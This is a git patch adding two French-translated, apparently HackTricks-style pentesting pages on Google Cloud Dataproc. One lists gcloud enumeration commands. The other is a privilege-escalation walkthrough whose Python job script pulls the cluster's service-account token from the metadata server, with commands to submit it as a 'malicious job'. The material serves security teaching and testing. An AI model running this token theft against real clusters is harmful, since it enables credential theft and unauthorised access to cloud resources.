From 5bc1061b7c3877de532b303c4cb46378acd86f5c Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 21:46:31 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-dataproc-privesc.md | 54 +++++++++++++++++++ .../gcp-services/gcp-dataproc-enum.md | 43 +++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..4477ba7a9 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +Je n'ai pas pu obtenir un shell inversé en utilisant cette méthode, cependant il est possible de leak le token SA depuis le point de terminaison des métadonnées en utilisant la méthode décrite ci-dessous. + +#### Étapes pour exploiter + +- Placez le script de travail sur le GCP Bucket + +- Soumettez un travail à un cluster Dataproc. + +- Utilisez le travail pour accéder au serveur de métadonnées. + +- Leak le token du compte de service utilisé par le cluster. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..f83bb90e7 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Informations de base + +Google Cloud Dataproc est un service entièrement géré pour exécuter Apache Spark, Apache Hadoop, Apache Flink et d'autres frameworks de big data. Il est principalement utilisé pour le traitement des données, les requêtes, l'apprentissage automatique et l'analyse de flux. Dataproc permet aux organisations de créer des clusters pour le calcul distribué avec facilité, s'intégrant parfaitement avec d'autres services de Google Cloud Platform (GCP) comme Cloud Storage, BigQuery et Cloud Monitoring. + +Les clusters Dataproc s'exécutent sur des machines virtuelles (VM), et le compte de service associé à ces VM détermine les autorisations et le niveau d'accès du cluster. + +## Composants + +Un cluster Dataproc comprend généralement : + +Nœud maître : Gère les ressources du cluster et coordonne les tâches distribuées. + +Nœuds de travail : Exécutent des tâches distribuées. + +Comptes de service : Gèrent les appels API et accèdent à d'autres services GCP. + +## Énumération + +Les clusters, les travaux et les configurations Dataproc peuvent être énumérés pour recueillir des informations sensibles, telles que les comptes de service, les autorisations et les configurations potentielles incorrectes. + +### Énumération des clusters + +Pour énumérer les clusters Dataproc et récupérer leurs détails : +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Énumération des travaux +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}